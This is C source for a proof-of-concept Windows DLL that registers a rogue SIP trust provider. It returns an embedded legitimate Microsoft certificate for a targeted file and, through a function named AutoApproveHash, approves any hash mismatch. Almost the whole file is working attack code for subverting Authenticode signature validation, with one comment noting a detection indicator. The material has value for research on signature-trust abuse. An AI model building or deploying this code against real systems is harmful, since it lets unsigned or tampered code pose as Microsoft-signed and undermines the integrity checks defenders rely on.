#include "MySIP.h" HMODULE DllModuleAddress; GUID MySIPGUID = CRYPT_SUBJTYPE_MY_IMAGE; BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { UNREFERENCED_PARAMETER(fdwReason); UNREFERENCED_PARAMETER(lpvReserved); DllModuleAddress = (HMODULE) hinstDLL; return TRUE; } STDAPI DllRegisterServer(void) { HRESULT result; SIP_ADD_NEWPROVIDER NewProvider; WCHAR Filename[MAX_PATH]; result = S_OK; memset(&NewProvider, 0, sizeof(SIP_ADD_NEWPROVIDER)); if (!GetModuleFileName(DllModuleAddress, Filename, MAX_PATH)) { goto exit; } NewProvider.cbStruct = sizeof(SIP_ADD_NEWPROVIDER); NewProvider.pgSubject = &MySIPGUID, NewProvider.pwszDLLFileName = Filename, NewProvider.pwszMagicNumber = NULL; NewProvider.pwszIsFunctionName = NULL; NewProvider.pwszIsFunctionNameFmt2 = L"IsMyFileExtension"; NewProvider.pwszGetFuncName = L"GetLegitMSSignature"; NewProvider.pwszPutFuncName = L"MyPutSignature"; NewProvider.pwszCreateFuncName = L"MyCreateHash"; NewProvider.pwszVerifyFuncName = L"AutoApproveHash"; NewProvider.pwszRemoveFuncName = L"MyDelSignature"; if (!CryptSIPAddProvider(&NewProvider)) { goto exit; } goto success; exit: result = GetLastError(); if (result > 0) { result = HRESULT_FROM_WIN32(result); } success: return result; } STDAPI DllUnregisterServer(void) { CryptSIPRemoveProvider(&MySIPGUID); return S_OK; } // Considering this PoC SIP is only designed to retrieve a legitimate certificate // and validate is despite a hash mismatch, this function is not implemented. BOOL WINAPI MyPutSignature(SIP_SUBJECTINFO *pSubjectInfo, DWORD dwEncodingType, DWORD *pdwIndex, DWORD cbSignedDataMsg, BYTE *pbSignedDataMsg) { UNREFERENCED_PARAMETER(pSubjectInfo); UNREFERENCED_PARAMETER(dwEncodingType); UNREFERENCED_PARAMETER(pdwIndex); UNREFERENCED_PARAMETER(cbSignedDataMsg); UNREFERENCED_PARAMETER(pbSignedDataMsg); return TRUE; } // Considering this PoC SIP is only designed to retrieve a legitimate certificate // and validate is despite a hash mismatch, this function is not implemented. BOOL WINAPI MyCreateHash(SIP_SUBJECTINFO *pSubjectInfo, DWORD *pcbIndirectData, SIP_INDIRECT_DATA *pIndirectData) { UNREFERENCED_PARAMETER(pSubjectInfo); UNREFERENCED_PARAMETER(pcbIndirectData); UNREFERENCED_PARAMETER(pIndirectData); return TRUE; } // Considering this PoC SIP is only designed to retrieve a legitimate certificate // and validate is despite a hash mismatch, this function is not implemented. BOOL WINAPI MyDelSignature(SIP_SUBJECTINFO *pSubjectInfo, DWORD dwIndex) { UNREFERENCED_PARAMETER(pSubjectInfo); UNREFERENCED_PARAMETER(dwIndex); return TRUE; } BOOL WINAPI IsMyFileExtension(WCHAR *pwszFileName, GUID *pgSubject) { BOOL bResult; INT i; WCHAR *SupportedExtensions[SUPPORTED_EXTENSION_COUNT]; WCHAR *Extension; SupportedExtensions[0] = L"foo"; SupportedExtensions[1] = L"bar"; SupportedExtensions[2] = L"baz"; bResult = FALSE; if (pwszFileName && pgSubject) { Extension = wcsrchr(pwszFileName, '.'); if (Extension) { Extension++; for (i = 0; i < SUPPORTED_EXTENSION_COUNT; i++) { if (!_wcsicmp(Extension, SupportedExtensions[i])) { bResult = TRUE; memcpy(pgSubject, &MySIPGUID, sizeof(GUID)); break; } } } } else { SetLastError(ERROR_INVALID_PARAMETER); } return bResult; } // Such a beautiful unimplemented function, IMO. This is the jedi mindtrick of hash validation. ;) // This simply states, "I don't care what the hash of the file is. I say it matches the signature in the certificate." BOOL WINAPI AutoApproveHash(SIP_SUBJECTINFO *pSubjectInfo, SIP_INDIRECT_DATA *pIndirectData) { UNREFERENCED_PARAMETER(pSubjectInfo); UNREFERENCED_PARAMETER(pIndirectData); return TRUE; } // Supplies the embedded certificate to WinVerifyTrust. // Note: An IOC can be easily made from the "LEGITCERT" embedded resource name. BOOL WINAPI GetLegitMSSignature(SIP_SUBJECTINFO *pSubjectInfo, DWORD *pdwEncodingType, DWORD dwIndex, DWORD *pcbSignedDataMsg, BYTE *pbSignedDataMsg) { HRSRC hCertResource; HGLOBAL hResLoaded; LPVOID lpResAddress; DWORD dwResourceSize; DWORD dwErrorCode; dwErrorCode = ERROR_SUCCESS; if(lstrcmpi((LPCTSTR)pSubjectInfo->pwsFileName,L"C:\\test\\cer\\1.ps1")==0) { // MessageBox (NULL,L"Get selected file", (LPCTSTR)pSubjectInfo->pwsFileName,0) ; // pSubjectInfo is a required argument. I don't actually use pSubjectInfo // though since all this PoC does is return the same legit, MS cert. // pdwEncodingType is a required argument // dwIndex must be 0 // pcbSignedDataMsg is a required argument // pbSignedDataMsg can be null if ((pSubjectInfo == NULL) || (pdwEncodingType == NULL) || (pcbSignedDataMsg == NULL) || (dwIndex != 0)) { dwErrorCode = ERROR_INVALID_PARAMETER; goto erroroccurred; } // Get a handle to the legitimate Microsoft certificate embedded in this DLL. // The certificate was embedded as a resource to facilitate a user swapping it out with another one using a resource editor util. hCertResource = FindResource(DllModuleAddress, MAKEINTRESOURCE(IDR_BINARY1), L"LEGITCERT"); if (hCertResource == NULL) { dwErrorCode = GetLastError(); goto erroroccurred; } hResLoaded = LoadResource(DllModuleAddress, hCertResource); if (hResLoaded == NULL) { dwErrorCode = GetLastError(); goto erroroccurred; } // Get the address of the resource in memory. lpResAddress = LockResource(hResLoaded); if (lpResAddress == NULL) { dwErrorCode = ERROR_NOT_ENOUGH_MEMORY; goto erroroccurred; } dwResourceSize = SizeofResource(DllModuleAddress, hCertResource); // Return the size of the resource even if it's zero. The caller should know regardless. *pcbSignedDataMsg = dwResourceSize; // There should always be a resource present of a non-zero size. if (dwResourceSize == 0) { dwErrorCode = GetLastError(); goto erroroccurred; } // The first time this func is called, pbSignedDataMsg is expected to be // null in order to determine the proper buffer size that the caller needs to allocate. if ((pbSignedDataMsg == NULL) || (dwResourceSize > *pcbSignedDataMsg)) { dwErrorCode = ERROR_INSUFFICIENT_BUFFER; goto erroroccurred; } else { // Copy the resource to the signed data msg buffer. memcpy(pbSignedDataMsg, lpResAddress, dwResourceSize); } erroroccurred: SetLastError(dwErrorCode); // Setting this is necessary in order for AutoApproveHash to ultimately be called. // Without this set, the returned signature will fail to decode. *pdwEncodingType = PKCS_7_ASN_ENCODING | X509_ASN_ENCODING; return dwErrorCode == ERROR_SUCCESS; } return dwErrorCode; }